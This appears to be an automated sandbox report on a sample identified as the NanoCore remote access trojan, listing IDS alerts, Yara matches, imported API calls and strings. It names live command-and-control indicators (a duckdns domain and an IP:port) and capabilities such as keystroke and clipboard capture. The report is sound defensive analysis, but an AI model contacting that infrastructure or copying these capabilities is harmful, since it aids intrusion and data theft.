Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49707 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49711 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49715 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49717 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49719 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49720 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49723 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49724 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49725 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49727 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49728 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49729 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49730 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49734 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49735 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49736 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49737 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49738 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49739 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49740 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49743 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49744 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49748 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49751 -> 192.169.69.26:4156
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49752 -> 192.169.69.26:4156

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: bnow.duckdns.org

Uses dynamic DNS services

Show sources

Source: unknown

DNS query: name: bnow.duckdns.org

Source: Joe Sandbox View

ASN Name: WOWUS WOWUS

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C822EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

Source: unknown

DNS traffic detected: queries for: bnow.duckdns.org

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C84164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C83F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C7001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

Source: RegAsm.exe, 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp

Binary or memory string: RegisterRawInputDevices

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C9CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

E-Banking Fraud:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657091482.0000000004377000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.686611138.0000000004311000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1316, type: MEMORY
Source: Yara match	File source: Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824, type: MEMORY
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45feab4.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6254629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45f9c7e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.46030dd.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6250000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6250000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45feab4.2.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000002.922413019.0000000005EA0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: RegAsm.exe PID: 1316, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: RegAsm.exe PID: 1316, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.RegAsm.exe.5ea0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.RegAsm.exe.45feab4.2.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.2.RegAsm.exe.6254629.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.RegAsm.exe.45f9c7e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.2.RegAsm.exe.45f9c7e.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.RegAsm.exe.46030dd.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.2.RegAsm.exe.6250000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.2.RegAsm.exe.35c16d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.2.RegAsm.exe.6250000.8.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.2.RegAsm.exe.45feab4.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth

Binary is likely a compiled AutoIt script file

Show sources

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: This is a third-party compiled AutoIt script.
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe, 00000000.00000002.688455074.0000000000CC4000.00000002.00020000.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_0589152A NtQuerySystemInformation,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_058914EF NtQuerySystemInformation,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C7A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C68310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C751BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C1E6A0
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C33187
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C1FCE0
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C1DF00
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C321C5
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C462D2
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C903DA
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C4242E
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C325FA
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C266E1
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C6E616
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C4878F
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C78889
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C46844
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C90857
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C28808
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C3CB21
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C46DB6
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C26F9E
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C23030
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C3F1D9
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C11287
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C31484
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C25520
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C37696
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C25760
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C3D975
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C31978
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C49AB5
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C97DDB
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C31D90
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C3BDA6
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C23FE0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_05763850
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_0576AF78
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_057623A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_05762FA8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_057686A8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_057692A8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_0576306F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_0576936F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_05769B50
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 7_2_02AE01B7

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: String function: 00C17DE1 appears 36 times
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: String function: 00C30AE3 appears 70 times
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: String function: 00C38900 appears 42 times

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: sfc.dll

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE

Source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
